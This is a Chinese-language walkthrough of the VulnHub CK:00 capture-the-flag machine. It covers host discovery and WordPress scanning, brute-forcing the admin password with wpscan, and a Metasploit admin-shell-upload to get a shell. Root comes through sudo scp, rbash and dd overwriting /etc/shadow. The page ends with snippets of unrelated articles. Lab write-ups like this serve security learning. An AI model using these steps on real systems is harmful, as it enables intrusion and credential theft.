VulnHub:CK00

靶场搭建

靶机下载地址:CK: 00 ~ VulnHub

下载后,在vmware中打开靶机。

  1. 修改网络配置为NAT

  2. 处理器修改为2

  3. 启动靶机

靶机ip扫描不到的解决办法

  1. 靶机开机时一直按shift或者esc直到进入GRUB界面。

  2. 按e进入编辑模式,找到ro,修改为如下内容。ctrl+x重启服务。

    rw signie init=/bin/bash quiet
  3. 进入如下页面。如果没有进入说明第二步修改错误,重新执行1,2步。                                  

  4. ip a查看网卡信息。这里网卡是ens33。                                                                                  

  5. 打开网卡配置文件vi /etc/netplan/50-cloud-init.yaml。                                                    

    发现网卡名称不一致,按i修改为以下内容。增加的内容主要是为了将ens33网卡ip配置成攻击机同网段。                                    

    • addresses: [ip/24]

    • gateway4: 网关

    • nameservers: addresses: [dns]

  6. netplan apply生效,再重启靶机即可修改成功。

如果上述步骤仍然不行,在步骤5前增加一步:apt install ifupdown resolvconf

信息收集

主机发现

nmap 192.168.233.0/24 -sP -T4

靶机ip为:192.168.233.121。

端口扫描

nmap 192.168.233.121 -A -T4

开放22,80端口。

目录扫描and网站指纹

首先看看80端口网站首页。最重要的信息是WordPress。

网站指纹扫描确认一下。

whatweb http://192.168.233.121

该网站的确由WordPress搭建。继续目录扫描。

dirsearch -u http://192.168.233.121

根据扫描结果,发现有重定向到ck这个域名的情况,直接访问报错报错,因此需要修改一下hosts文件,vim /etc/hosts,增加一条主机名和IP地址的映射关系:

192.168.233.121  ck

访问/wp-login.php。需要用户密码,用wpscan进行枚举。

访问/wp-includes。没找到名字和内容敏感的文件。

wpscan

根据前面的信息收集,80端口的网站由WordPress搭建,我们使用wpscan(WordPress扫描工具)扫描,目的是枚举用户和密码。

# 枚举用户,插件,主题
wpscan --url http://192.168.233.121 --enumerate u,p,t

根据扫描结果,发现存在admin用户。接下来使用wpscan爆破密码。

wpscan --url http://192.168.233.121 --passwords 字典路径 --usernames admin --max-threads 100

密码是admin。成功登入wordpress后台。

2、漏洞利用

已知WordPress用户名和密码,打开msf,使用unix/webapp/wp_admin_shell_upload模块。

msfconsole
search wp_admin
use 0
options
set rhosts 192.168.233.121
set password admin
set username admin
run

成功拿到meterpreter,看到当前权限不高。进入shell模式,进行信息收集。

shell
# 显示用户名和路径(可以不执行这一步)
python3 -c 'import pty;pty.spawn("/bin/bash")'

切换到home目录,发现存在ck,bla,bla1三个用户。在/home/ck路径下发现第一个flag。

在wp-config.php中找到数据库用户名和密码。cat /var/www/html/wp-config.php

3、提权

得到的密码尝试确认是bla用户的密码。

sudo -l想办法提权。可用利用scp命令拿到bla1的shell。

scp提权

搜一下scp如何提权。百度告诉我们执行以下四步即可提权。

做一下修改,因为是切换到bla1所以命令应该是:sudo -u bla1 scp -S $TF x y:。命令执行后报错Can't open /tmp/tmp.kPOFihNHbV,chmod将这个文件的权限修改为777即可。

rbash

继续提权sudo -l

提示我们利用/bin/rbash拿到ck-00的shell,无密码。rbash是什么,rbash是受限制的 bash,这里可以就当作是/bin/bash使用,直接切换到ck-00。

sudo -u ck-00 /bin/rbash

sudo -l。提示我们通过dd提权到root权限。

dd提权

dd命令是用于读取、转换、输出数据的,dd提权主要是利用对数据的转换来实现的,比如:替换root用户密码hash值从而修改密码达到提权的目的。

在攻击机上生成明文密码的hash。使用mkpasswd生成sha-512加密算法的hash。

# -m 指定加密方式
mkpasswd -m sha-512 123456

参照kali中shadow文件root用户的用户信息,将第二个参数密码的hash值替换成刚刚生成的hash值并保存起来备用。

cat /etc/shadow
# 将结果复制出来,替换一下root用户的hash值
root:$6$lpM1sB/rsDFuAgCN$4kuMA2zqpN9z2O5c5B27GQd.SY3L/R3zC1z4CAQXRJ4jgxW81F3xsE08l7A./1SxBuW/31YBTgcqzKZEI0n.j1:18878:0:99999:7:::

到靶机中,将etc/shadow替换为刚刚备好的内容。

echo 'root:$6$lpM1sB/rsDFuAgCN$4kuMA2zqpN9z2O5c5B27GQd.SY3L/R3zC1z4CAQXRJ4jgxW81F3xsE08l7A./1SxBuW/31YBTgcqzKZEI0n.j1:18878:0:99999:7:::' | sudo dd of=/etc/shadow

执行完毕后,切换到root用户,输入我们设置的密码即可。

get root flag🎆

总结

这里推荐一个网站GTFOBins,用于找提权利用方式的网站。

例如:需要利用dd命令提权,访问该网站,输入dd。

点开后会显示利用方法。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://xiahunao.cn/news/3248860.html

如若内容造成侵权/违法违规/事实不符,请联系瞎胡闹网进行投诉反馈,一经查实,立即删除!

相关文章

【devops】ttyd 一个web版本的shell工具 | web版本shell工具 | web shell

一、什么是 TTYD ttyd是在web端一个简单的服务器命令行工具 类似我们在云厂商上直接ssh链接我们的服务器输入指令一样 二、安装ttyd 1、macOS Install with Homebrew: brew install ttydInstall with MacPorts: sudo port install ttyd 2、linux Binary version (recommend…

Android10.0 锁屏分析-KeyguardPatternView图案锁分析

首先一起看看下面这张图: 通过前面锁屏加载流程可以知道在KeyguardSecurityContainer中使用getSecurityView()根据不同的securityMode inflate出来,并添加到界面上的。 我们知道,Pattern锁所使用的layout是 R.layout.keyguard_pattern_view&a…

Mysql基础与安装

一、数据库的概念和相关的语法和规范 1、数据库的概念 数据库:组织,存储,管理数据的仓库。 数据库的管理系统(DBMS):实现对数据有效组织,管理和存取的系统软件。 数据库的种类: m…

QT 多线程 QThread

继承QThread的线程 继承 QThread 是创建线程的一个普通方法。其中创建的线程只有 run() 方法在线程里的。其他类内定义的方法都在主线程内。 通过上面的图我们可以看到,主线程内有很多方法在主线程内,但是子线程,只有 run() 方法是在子线…

Python | Leetcode Python题解之第236题二叉树的最近公共祖先

题目: 题解: # Definition for a binary tree node. # class TreeNode: # def __init__(self, x): # self.val x # self.left None # self.right Noneclass Solution:def lowestCommonAncestor(self, root: TreeNode, p…

实战篇(十一) : 拥抱交互的三维世界:利用 Processing 和 OpenGL 实现炫彩粒子系统

🌌 拥抱交互的三维世界:利用 Processing 和 OpenGL 实现炫彩粒子系统 在现代计算机图形学中,三维粒子系统是一个激动人心的领域。它不仅可以用来模拟自然现象,如烟雾、火焰和水流,还可以用来创造出令人叹为观止的视觉效果。在这篇文章中,我们将深入探讨如何使用 Proces…

第四届中国移动“梧桐杯”大数据创新大赛正式启动报名!

“梧桐杯”大赛是中国移动面向海内外高校青年学生打造的年度大数据创新赛事,以“竞逐数海,领航未来”为主题,携手政府、高校和行业企业通过比赛发掘高校优秀人才,孵化投资优秀项目。大赛设置“企业导师校内导师”双轨导师制&#…

Linux_线程的同步与互斥

目录 1、互斥相关概念 2、代码体现互斥重要性 3、互斥锁 3.1 初始化锁 3.2 申请、释放锁 3.3 加锁的思想 3.4 实现加锁 3.5 锁的原子性 4、线程安全 4.1 可重入函数 4.2 死锁 5、线程同步 5.1 条件变量初始化 5.2 条件变量等待队列 5.3 唤醒等待队列…

MySQL学习记录 —— 이십이 MySQL服务器文件系统(2)

文章目录 1、日志文件的整体简介2、一般、慢查询日志1、一般查询日志2、慢查询日志FILE格式TABLE格式 3、错误日志4、二进制日志5、日志维护 1、日志文件的整体简介 中继服务器的数据来源于集群中的主服务。每次做一些操作时,把操作保存到重做日志,这样崩…

JAVASE-医疗管理系统项目总结

文章目录 项目功能架构运行截图数据库设计设计模式应用单列设计模式JDBC模板模板设计模式策略模式工厂设计模式事务控制代理模式注解开发优化工厂模式 页面跳转ThreadLocal分页查询实现统计模块聊天 项目功能架构 传统的MVC架构,JavaFX桌面端项目,前端用…

R语言进行集成学习算法:随机森林

# 10.4 集成学习及随机森林 # 导入car数据集 car <- read.table("data/car.data",sep ",") # 对变量重命名 colnames(car) <- c("buy","main","doors","capacity","lug_boot","safety"…

ARM体系结构和接口技术(五)封装RCC和GPIO库

文章目录 一、RCC&#xff08;一&#xff09;思路1. 找到时钟基地址2. 找到总线的地址偏移&#xff08;1&#xff09;AHB4总线&#xff08;2&#xff09;定义不同GPIO组的使能宏函数&#xff08;3&#xff09;APB1总线&#xff08;4&#xff09;定义使能宏函数 二、GPIO&#x…

基于Java的汽车租赁管理系统设计(含文档、源码)

本篇文章论述的是基于Java的汽车租赁管理系统设计的详情介绍&#xff0c;如果对您有帮助的话&#xff0c;还请关注一下哦&#xff0c;如果有资源方面的需要可以联系我。 目录 摘 要 系统运行截图 系统总体设计 系统论文 资源下载 摘 要 近年来&#xff0c;随着改革开放…

React遍历tree结构,获取所有的id,切换自动展开对应层级

我们在做一个效果的时候&#xff0c;经常可能要设置默认展开多少的数据 1、页面效果&#xff0c;切换右侧可以下拉可切换展开的数据层级&#xff0c;仅展开两级等 2、树形的数据

C语言中常见库函数(1)——字符函数和字符串函数

文章目录 前言1.字符分类函数2.字符转换函数3.strlen的使用和模拟实现4.strcpy的使用和模拟实现5.strcat的使用和模拟实现6.strncmp的使用和模拟实现7.strncpy函数的使用8.strncat函数的使用9.strncmp函数的使用10.strstr的使用和模拟实现11.strtok函数的使用12.strerror函数的…

【文献阅读】Social Bot Detection Based on Window Strategy

Abstract 机器人发帖的目的是在不同时期宣传不同的内容&#xff0c;其发帖经常会出现异常的兴趣变化、而人类发帖的目的是表达兴趣爱好和日常生活&#xff0c;其兴趣变化相对稳定。提出了一种基于窗口策略&#xff08;BotWindow Strategy&#xff09;的社交机器人检测模型基于…

深入了解MySQL文件排序

数据准备 CREATE TABLE user_info (id bigint(20) NOT NULL AUTO_INCREMENT COMMENT ID,name varchar(20) NOT NULL COMMENT 用户名,age tinyint(4) NOT NULL DEFAULT 0 COMMENT 年龄,sex tinyint(2) NOT NULL DEFAULT 0 COMMENT 状态 0&#xff1a;男 1&#xff1a; 女,creat…

R语言实现对模型的参数优化与评价KS曲线、ROC曲线、深度学习模型训练、交叉验证、网格搜索

目录 一、模型性能评估 1、数据预测评估 2、概率预测评估 二、模型参数优化 1、训练集、验证集、测试集的引入 2、k折线交叉验证 2、网格搜索 一、模型性能评估 1、数据预测评估 ### 数据预测评估 #### 加载包&#xff0c;不存在就进行在线下载后加载if(!require(mlben…

NFS存储、API资源对象StorageClass、Ceph存储-搭建ceph集群和Ceph存储-在k8s里使用ceph(2024-07-16)

一、NFS存储 注意&#xff1a;在做本章节示例时&#xff0c;需要拿单独一台机器来部署NFS&#xff0c;具体步骤略。NFS作为常用的网络文件系统&#xff0c;在多机之间共享文件的场景下用途广泛&#xff0c;毕竟NFS配置方 便&#xff0c;而且稳定可靠。NFS同样也有一些缺点&…

《Towards Black-Box Membership Inference Attack for Diffusion Models》论文笔记

《Towards Black-Box Membership Inference Attack for Diffusion Models》 Abstract 识别艺术品是否用于训练扩散模型的挑战&#xff0c;重点是人工智能生成的艺术品中的成员推断攻击——copyright protection不需要访问内部模型组件的新型黑盒攻击方法展示了在评估 DALL-E …